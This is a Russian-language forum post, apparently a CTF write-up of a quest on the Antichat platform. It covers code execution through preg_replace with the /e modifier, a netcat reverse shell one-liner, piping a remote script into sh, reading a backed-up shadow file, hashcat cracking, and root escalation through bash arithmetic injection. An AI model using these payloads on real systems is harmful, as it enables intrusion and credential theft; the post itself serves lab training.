HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 01.08.2023, 19:07
Kevgen
Новичок
Регистрация: 11.05.2023
Сообщений: 0
С нами: 1585741

Репутация: 0
По умолчанию

Всем привет!
Сегодня разберем квест "Черновик" с платформы Antichat.
В этом райтапе я постараюсь изложить решение таска наиболее подробно.

Итак, приступим!

Поиск точки входа
Заходим на первый IP, открываем код страницы, видим что есть спрятанная (hidden) область:



Убираем hidden, появляется форма замены слова. Пробуем изменить "hacker" на "codeby"... Успешно. Идем смотреть скрипт, выполняющий замену:



Видим, что после отправки наше замененное слово "hacker", обрамляется в "/hacker/". Возвращаемся назад, пробуем заменить "/hacker/" на "codeby". Как результат, видим ошибку функции preg_replace():



Ищем в гугле эксплоиты preg_replace. Находим, что для выполнения кода нужно использовать обрамление "/hacker/e", что невозможно сделать через скрипт на сайте (получится "//hacker/e/").
Поэтому открываем postman, делаем POST запрос, где в теле 'x-www-form-urlencoded' проставляем следующие значения:
pattern = "/hacker/e",
replace = system('whoami') (сам исполняемый код),
paragraph = 1 (указываем с какого параграфа делать замену).
Если в ответе получили www-data, значит все ок.

Настройка Reverse Shell
Если у Вас белый IP, то пробрасывайте порт 4444 (с ним будем работать дальше). Иначе используйте ngrok.
Запускаем netcat на нашем устройстве
Код:
nc -lvnp 4444
для прослушивания порта. Далее идем на revshells.com, вводим свой ip, включаем и ищем подходящий revers shell.
Я остановился на
Код:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f
, где my-ip - Ваш белый IP.
Заливаем шелл командой:
Код:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f')
. Запускаем, возвращаемся в терминал с netcat'ом.
Проверяем соединение вводом команды: "whoami". Если ответ "www-data", то все ок.
Далее настроим наш терминал. Вводим команду
Код:
python -c 'import pty; pty.spawn("/bin/bash")'
и получаем интерактивную оболочку.

Ищем уязвимости
Плутать по серверу и искать уязвимости вручную - это долго и глупо. Для этого есть утилита LinPEAS. Просто вводим команду
Код:
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230731-452f0c44/linpeas.sh | sh
. Посмотрим вывод. Привлекает внимание несколько backup файлов, среди которых /etc/shadow.backup.Оригинальный файл /etc/shadow содержит хэшированные пароли пользователей и недоступен для чтения/записи. Но у нас есть бэкап который открывается.
Откроем:
Код:
cat /etc/shadow.backup
. Видим хэш с солью нужного нам пользователя.

Брутим пароль
Смотрим формат строки в файле:

Код:
$6$xxxxxx$00000000000000000000:14715:0:99999:7:::
Первые 3 символа "$6$" указывают на кодировку хэша SHA-512.
Все, что между вторым и третьим символом доллара ($) - это соль.
Все, что дальше него до двоеточия ":" - это хэш.
Все, что дальше двоеточия включительно нам не нужно.

Раз есть хэш, то надо брутить! Создаем файл hash.txt и вводим туда наш хэш не оставляя пробелов до или после самого хэша.
Запускаем Брут командой
Код:
hashcat -m 1800 -a 0 -o crack.txt --remove hash.txt /usr/share/wordlists/rockyou.txt
, где 1800 - режим брута хэша (SHA-512 + salt), "-a 0" указывает на брутфорс по словарю, а crack.txt - выходной файл с паролем. Ждем.
Через несколько минут получаем пароль.



Теперь подключаемся ко второму IP по ssh командой:
Код:
ssh derek@62.173.140.174 -p 18722
. Вводим пароль, полученный из хэша. Теперь мы можем прочесть нашу первую часть флага. Читаем:
Код:
cat first_part
.
Сохраняем первую часть в блокноте.



Повышаем привилегии
Первую часть флага мы получили, неплохо бы и вторую отыскать . Для этого будем повышать наши права на сервере до root'а.

Выполнив
Код:
sudo -l
открываем для себя файл guessNum.sh, который мы можем запускать. Сразу же открываем его cat'ом и видим, что он проверяет введенное значение с
. На первый взгляд ничего интересного, но он уязвим, иначе он бы здесь не оказался (так еще и с правами выполнения ), поэтому вбиваем в гугл следующее: "bash -eq exploits". Сразу видим, что мы не ошиблись: арифметика в bash'е в самом деле уязвимая. Путем перехода на первую же ссылку видим нужный нам пример повышения привилегий.

Запускаем наш guessNum.sh. Копируем пример с сайта, но вводим, понятное дело, не
Код:
a[$(/bin/sh >&2)]+42
, а
Код:
[$(ls /root/ >&2)]+1337
, для чтения директории root.
И мы видим наш последний файл!
Открываем его командой
Код:
a[$(cat /root/last_part >&2)]+1337
и получаем последнюю часть флага!

Соединяем две части флага и сдаем.

Спасибо за прочтение!
Если есть пожелание или критика - пишите!
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...